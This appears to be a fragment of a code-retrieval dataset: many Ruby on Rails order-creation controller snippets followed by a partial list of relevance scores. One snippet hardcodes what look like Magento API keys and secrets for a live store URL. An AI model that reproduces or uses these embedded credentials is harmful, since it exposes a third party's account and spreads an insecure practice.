"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: { order_id: @order.id }, status: :ok }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n order = Order.create(order_params)\n if order.save\n render json: order\n else\n render new\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_orders params\n @orders_hash = JSON.parse(params)\n\n @orders_hash['orders'].each do |order|\n add_order(order[\"origin\"],order[\"destination\"],order[\"size\"])\n end\n true\n end",
"def create\n @power_order = PowerOrder.new(power_order_params)\n @power_order.save\n render json: @power_order\n end",
"def create\n @order = current_owner.orders.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to orders_path, notice: 'Order was created successfully' }\n format.json { render :show, status: :created, location: orders_path }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n @order_sales = @order.sales\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, flash: { sucess: 'Order was successfully created.' } }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def phone_order(params)\n path = @version + '/Phone/Order/'\n method = 'POST'\n return request(path, method, params)\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @v1_order = V1::Order.new(v1_order_params)\n\n if @v1_order.save\n render json: @v1_order, status: :OK, location: @v1_order\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n end",
"def create_test_order(options)\n request :account, :post, 'order/test', options\n end",
"def create\n @order = Order.new(params[:order])\n @order.user_id = current_user.user_id\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to order_url(@order), notice: I18n.t('orders.successfully_created') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = current_user.orders.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n @order.submitted_by_id = current_user.id\n respond_to do |format|\n if @order.save\n format.html { redirect_to orders_url, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order, @errors = Order.create_from_cart(@cart, order_params)\n\n if @order\n render json: @order, status: :created, location: @order\n else\n render json: @errors, status: :unprocessable_entity\n end\n end",
"def create\n @admin_order = Order.new(params[:admin_order])\n\n respond_to do |format|\n if @admin_order.save\n format.html { redirect_to @admin_order, notice: 'Order was successfully created.' }\n format.json { render json: @admin_order, status: :created, location: @admin_order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_order(order)\n # response = post(\n # 'peatio/market/orders',\n # {\n # market: order.market.downcase,\n # side: order.side.to_s,\n # volume: order.amount,\n # price: order.price\n # }\n # )\n\n return if order.amount < 1e-8\n od = build_order(order)\n return if od.nil?\n\n# Arke::Log.debug \"Skip order creation #{od.to_json}\\n#{order.inspect}\"\n Ordering.new(od).submit\n @open_orders.add_order(order, od.id) if od.id\n Arke::Log.debug \"Order created #{od.to_json}\"\n\n # @open_orders.add_order(order, response.env.body['id']) if response.env.status == 201 && response.env.body['id']\n\n # response\n end",
"def create\n @order = Order.new( order_params )\n @order.system_id = Order.set_system_id\n respond_to do |format|\n if @order.save\n set_order_values(@order,params)\n route = 'https://private-3643a-orderlordapi.apiary-mock.com/api/v1/jobs'\n respose = HTTParty.post(route, body: @body, :headers => @headers)\n parsed_response = respose.parsed_response.symbolize_keys!\n if \tparsed_response[:success] == \"true\"\n @order.tracker_hash = parsed_response[:tracker_hash]\n @order.save!\n end\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if order.save\n format.html { redirect_to order, notice: 'Order was successfully created.' }\n format.json { render json: order, status: ':created', location: order }\n else\n format.html { render action: 'new' }\n format.json { render json: order.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def create\n # 前端傳回的資料,呼叫 order_params 過濾前端傳回來的資料,用 new 創出一個 Order 的物件 (此時還是 ruby 物件喔)\n @order = Order.new(order_params)\n\n respond_to do |format|\n # save 是指把該筆 物件裡的資料存入資料庫內\n if @order.save\n # 若儲存成功,就導回該筆資料的 show 頁面\n format.html { redirect_to order_path(@order), notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n # 若儲存失敗,就導回新增的頁面重新填寫資料\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n items = params[:items]\n filtered_items = []\n items.each do |item|\n item[:quantity].times do |order|\n filtered_items << {\"apiKey\" => item[:item_api], \"customizationChoices\" => [], \"comments\" => item[:instruction]}\n end\n end\n token = ENV[\"REACT_APP_EAT_STREET_TOKEN\"]\n uri = URI.parse(\"https://api.eatstreet.com/publicapi/v1/send-order\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"X-Access-Token\"] = token\n request.body = JSON.dump({\n \"restaurantApiKey\" => processing_params[:restaurant_api_key],\n \"items\" => filtered_items,\n \"method\" => \"delivery\",\n \"payment\" => \"cash\",\n \"test\" => false,\n \"comments\" => processing_params[:comments],\n \"card\" => {\n \"apiKey\" => nil\n },\n \"address\" => {\n \"apiKey\" => nil,\n \"streetAddress\" => processing_params[:address],\n \"latitude\" => processing_params[:latitude],\n \"longitude\" => processing_params[:longitude]\n },\n \"recipient\" => {\n \"apiKey\" => nil,\n \"firstName\" => processing_params[:username],\n \"lastName\" => processing_params[:username],\n \"phone\" => processing_params[:phone],\n 'email' => processing_params[:email]\n }\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n message = ''\n if response.code == 200\n message = {error: false, details: 'You Order Has Been Processed'}\n items.each do |item|\n order = Order.find(item[:id])\n order.ordered = true\n end\n\n else\n message = response.body\n end\n\n render json: message\n end",
"def write_order(order, request_body = nil)\n path = \"/checkout/orders\"\n path += \"/#{order.id}\" if order.id\n\n request_body ||= order.to_json\n response = https_connection.post do |req|\n req.url path\n\n req.headers['Authorization'] = \"Klarna #{sign_payload(request_body)}\"\n req.headers['Accept'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json',\n req.headers['Content-Type'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json'\n req.headers['Accept-Encoding'] = ''\n\n req.body = request_body\n end\n handle_status_code(response.status, response.body)\n response\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n @order.order_create\n format.html { redirect_to @order, notice: 'Замовлення успішно створено.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to orders_url, notice: 'Dati commessa caricati.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_order(order)\n build_persisted_order(\n post('/market/orders', order.symbolize_keys.merge(side: SIDES_MAP.fetch(order.fetch(:side))))\n )\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to home_path, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{order_params['email'].to_s}\")\n codeCustomer = res.code\n dataCustomer = res.parsed_response\n p res\n res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n #res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n codeItem = res.code\n dataItem = res.parsed_response\n p dataItem\n if codeCustomer != 404 && codeItem != 404\n newParams = order_params\n newParams[\"award\"] = dataCustomer[\"award\"] \n newParams[\"price\"] = dataItem[\"price\"]\n newParams[\"total\"] = dataItem[\"price\"] - dataCustomer[\"award\"]\n p newParams\n \n #HTTParty.put(\"http://localhost:8081/customers/order?award=#{newParams['award']}&total=#{newParams[\"total\"]}&customerId=#{newParams['customerid']}\")\n end\n if codeCustomer == 404 || codeItem == 404\n if codeCustomer == 404 and codeItem == 404\n render json: {error: \"Customer and Item do not exist\"}, status: 400\n return\n end\n if codeCustomer == 404 and codeItem != 404\n render json: {error: \"Customer does not exist\"}, status: 400\n return\n end\n if codeCustomer != 404 and codeItem == 404\n render json: {error: \"Item does not exist\"}, status: 400\n return\n end\n else\n @order = Order.new\n @order.customerid = dataCustomer[\"id\"]\n @order.email = dataCustomer[\"email\"]\n @order.itemid = order_params[:itemid]\n @order.description = dataItem[\"description\"]\n @order.award = newParams[\"award\"]\n @order.total = newParams[\"total\"]\n @order.price = newParams[\"price\"]\n \n orderResult = HTTParty.put('http://localhost:8081/customers/order', \n :body => @order.to_json,\n :headers => {'Content-Type' => 'application/json', 'ACCEPT' => 'application/json'}\n )\n\n res = HTTParty.put(\"http://localhost:8082/items/#{order_params[:itemid]}?stockQty=#{dataItem['stockQty']-1}&description=#{dataItem['description']}&price=#{dataItem['price']}&id=#{order_params[:id]}\")\n p res\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n \n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n end",
"def create\n # Create the order \n @order = Order.new\n @email = params[:email]\n \n # Invoke the customer service to retrieve the customer id using the customers\n customerCode, customer = Customer_Service.getCustomerByEmail(@email)\n \n # Check to make sure the customer can be found\n if customerCode != 200\n render json: { error: \"Customer could not be found. \", status: 400 }\n return\n end\n \n # Invoke the item service to retrieve the item information\n orderCode, item = Item_Service.getItemById(params[:itemId])\n # Check to see if the item can be found\n if orderCode != 200\n render json: { error: \"Item could not be found\", status: 400 }\n return\n end\n # Check to see if the item is in stock\n if item[:stockQty] <= 0\n render json: { error: \"Item is out of stock\", status: 400 }\n return\n end\n \n \n # Construct the object\n @order.itemId = params[:itemId]\n @order.description = item[:description]\n @order.customerId = customer[:id]\n @order.price = item[:price]\n @order.award = customer[:award]\n @order.total = @order.price - @order.award\n \n # Check to see if the order can be saved\n if @order.save\n # Save the order to the customer and save it to the item\n tempCode = Customer_Service.postOrder(@order)\n tempCode = Item_Service.postOrder(@order)\n render json: @order, status: 201\n else\n render json: @order.errors, status: 400\n end\n \n end",
"def new\n @path = '/orders'\n @method = 'post'\n @order = Order.new\n @bundles = Bundle.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n persist_order_address\n format.html { redirect_to [:admin, @order], notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: \"Don't think you're going to be there when we deliver? Leave cash in an envelope outside your door. Otherwise, we'll see you in person!\" }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@order = Order.new(order_params)\n\t\[email protected]_id = current_user.id\n\t\[email protected]_date = Time.now\n\t\[email protected] = 1\n\n\t\trespond_to do |format|\n\t\t\tif @order.save\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @order }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to root_path, notice: 'Order berhasil, tunggu untuk konfirmasi selanjutnya' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n\n @basket = ActiveSupport::JSON.decode(cookies[\"basket\"])\n p @basket\n @basket.each do |order_position|\n @order_detail = OrderDetail.create!(order: @order, product_id: order_position[0], qty: order_position[1])\n end\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@admin_order = Admin::Order.new(order_params)\n\n\t\trespond_to do |format|\n\t\t\tif @admin_order.save\n\t\t\t\tif params[:order_update].present?\n\t\t\t\t\tformat.html { redirect_to edit_admin_order_path(@admin_order), notice: 'Pedido criado com sucesso.'}\n\t\t\t\telse\n\t\t\t\t\tformat.html { redirect_to @admin_order, notice: 'Pedido criado com sucesso.' }\n\t\t\t\t\tformat.json { render json: @admin_order, status: :created, location: @admin_order }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @admin_order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new_order(params)\n camelcase_params!(params)\n call_api('NewOrder', params)\n end",
"def create\n @order = Order.new JSON.parse request.body.read\n\n respond_to do |format|\n rescue_connection_failure do\n if @order.save\n format.html { redirect_to @order, notice: 'ORder was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def create\n @order = Order.new :user_id => params[:user_id], :order_list => params[:order_list], :table_number => params[:table_number], :paid => params[:paid], :fb_user => params[:fb_user], :business_name => params[:business_name]\n @order.order_list = []\n @order.paid = false\n\n success_msg = {\n \"messages\": [\n {\"text\": \"Your order was created.\"},\n {\"text\": \"Thank you.\"}\n ]\n }\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :json => success_msg }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity, response: request.body.read }\n end\n end\n end",
"def create\n @order = current_user.orders.build(order_params)\n\n respond_to do |format|\n if @order.save_with_items(current_user)\n format.json { render json: @order, status: :created }\n format.html { redirect_to @order }\n else\n format.html do\n set_feed_back\n set_addresses_add_express_fee\n\n set_wx_cards\n\n flash.now[:error] = @order.errors.full_messages.join(', ')\n\n render :confirmation, status: :unprocessable_entity\n end\n\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.status = \"Pending\"\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def order_post(order, api_key, opts = {})\n data, _status_code, _headers = order_post_with_http_info(order, api_key, opts)\n return data\n end",
"def index\n @orders = Order.all\n render json: @orders, status: 200\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Provider was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \tredirect_to orders_url\n# @order = Order.new(params[:order])\n\n# respond_to do |format|\n# if @order.save\n# format.html { redirect_to @order, notice: 'Order was successfully created.' }\n# format.json { render json: @order, status: :created, location: @order }\n# else\n# format.html { render action: \"new\" }\n# format.json { render json: @order.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"def create\n @title = t 'view.orders.new_title'\n @order = current_customer.orders.build(params[:order])\n session[:documents_to_order].try(:clear)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('view.orders.correctly_created') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.user = current_user\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def create\n @order = Order.new(tl_params)\n\n if @order.save\n if params[:product]\n \[email protected]_order(params[:product])\n end\n render json: @order, status: :created\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def create\n fail = false\n itemId = order_params[:itemId]\n customerId = order_params[:customerId]\n \n #logger.debug \"getting item\"\n self.class.base_uri \"http://localhost:8082\"\n uri = \"/items/%d\" % [itemId]\n response = self.class.get uri\n \n #Check if item of this id was fetched correctly\n if response.code == 200\n item = response.body\n else\n fail = true\n end\n #logger.debug item\n\n #logger.debug \"getting customer\"\n self.class.base_uri \"http://localhost:8081\"\n uri = \"/customers?id=%d\" % [customerId]\n response = self.class.get uri\n \n\n #Check if customer of this id was fetched correctly\n if response.code == 200\n customer = response.body\n else\n fail = true\n end\n #logger.debug customer\n \n #If item and customer are found, create the order, otherwise, give a 404 not found error\n if !fail\n #logger.debug \"success\"\n item = JSON.parse(item)\n description = item[\"description\"]\n \n price = item[\"price\"].to_f #to float, as it's parsed as a string for some reason\n logger.debug price\n customer = JSON.parse(customer)\n \n award = customer[\"award\"]\n total = price - award\n \n @order = Order.new({itemId: itemId, customerId: customerId, description: description, price: price, award: award, total: total})\n if @order.save\n render json: @order, status: 201\n \n # #raise ActiveRecord::Rollback, \"Rolling back changes\"\n else\n render json: @order.errors.messages, status: 400\n end\n else\n head 404\n end\n\n end",
"def create\n @order = Order.new(order_params)\n \n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, :print => 'true' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @orders = Order.all\n @order = Order.create(order_params)\n\n=begin\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n redirect_to :action => :index\n else\n render :action => :new\n end\n end\n end",
"def perform\n Magento2::Api.configure('dz4xnhhgfsfuyj00g6bkel0jq6mwdak2', 'hhjnlf59qh2m7an9sdpfcu0o9nox78y6', 'ie5iafduhqs1dydynidsjki582oti17w', 'mva5hldj17elic6muxmf53fq7zmm7xl5', \"https://mall2door.net\")\n orders = Magento2::Api.get(\"/rest/en/V1/orders\", {searchCriteria: 'all' })\n all_orders = orders[:items]\n all_orders.each do |order|\n unless order[:status].present?\n order_id = order[:increment_id]\n id = order[:entity_id]\n status = order[:state]\n params = {\n entity_id: id,\n increment_id: order_id,\n status: status,\n }\n if status\n Magento2::Api.put(\"/rest/en/V1/orders/create\", {entity: params})\n end\n end\n end\n end",
"def make_api_call_for_order_creation(url, api_params, access_token)\n RestClient.post(url, api_params, Authorization: \"Bearer #{access_token}\", content_type: :json)\n end",
"def create\n @ordered = Ordered.new(ordered_params)\n\n respond_to do |format|\n if @ordered.save\n format.html { redirect_to @ordered, notice: 'Ordered was successfully created.' }\n format.json { render :show, status: :created, location: @ordered }\n else\n format.html { render :new }\n format.json { render json: @ordered.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.user_id = session[:user_id]\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sales_order = SalesOrder.new(sales_order_params)\n @sales_order.date = Time.now\n sodetails = @sales_order.sales_order_details\n sodetails.each do |sod|\n sod.pending_rg = sod.quantity\n sod.pending_cg = sod.quantity\n sod.pending_inv = sod.quantity\n end\n \n respond_to do |format|\n if @sales_order.save\n format.html {\n flash[:notice] = 'La Orden de Venta se creó satisfactoriamente.'\n redirect_to sales_orders_path\n }\n format.json { render :show, status: :created, location: @sales_order }\n else\n format.html { \n flash[:error] = @sales_order.errors\n redirect_to new_sales_order_path\n }\n format.json { render json: @sales_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t @order = Order.new\n\t code, customer = Customer.getCustomer(params[:email])\n\t \n\t if code != 200\n\t\t render json: { error: \"Customer email not found. #{params[:email]}\" }, status: 400\n\t\t return\n\t end\n\t \n\t code, item = Item.getItemById(params[:itemId])\n\t if code != 200\n\t\t render json: { error: \"Item id not found. #{params[:itemId]}\" }, status: 400\n\t\t return\n\t end\n\t \n\t if item[:stockQty] <= 0\n\t\t render json: { error: \"Item is out of stock.\"}, status: 400\n\t\t return\n\t end\n\t \n\t @order.itemId = item[:id]\n\t @order.description = item[:description]\n\t @order.customerId = customer[:id]\n\t @order.price = item[:price]\n\t @order.award = customer[:award]\n\t @order.total = @order.price - @order.award\n\t \n\t if @order.save\n \t\t# put order to customer and item subsystem to do their updates\n\t\t code = Customer.putOrder(@order)\n\t\t code = Item.putOrder(@order)\n\t\t render json: @order, status: 201\n\t else\n \t\trender json: @order.errors, status: 400\n \tend\n end",
"def order_params\n params.require(:order).permit(:date, :obs, :client_id)\n end",
"def create\n if params[:order][:id]\n build do\n message 'Повторый заказ'\n order Order.create_order_from_order(params[:order][:id])\n view 'consumer/orders/show'\n end\n elsif Order.create_orders_from_cart(params[:cart_id], current_user)\n build do\n message 'Создание заказов'\n view 'consumer/orders/create'\n end\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n UserMailer.order_email(@order).deliver\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'La commande a été créée avec succès.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.75886714",
"0.7490972",
"0.7488501",
"0.74664384",
"0.72739846",
"0.7195349",
"0.7063682",
"0.69745994",
"0.6910657",
"0.68880194",
"0.68747663",
"0.685004",
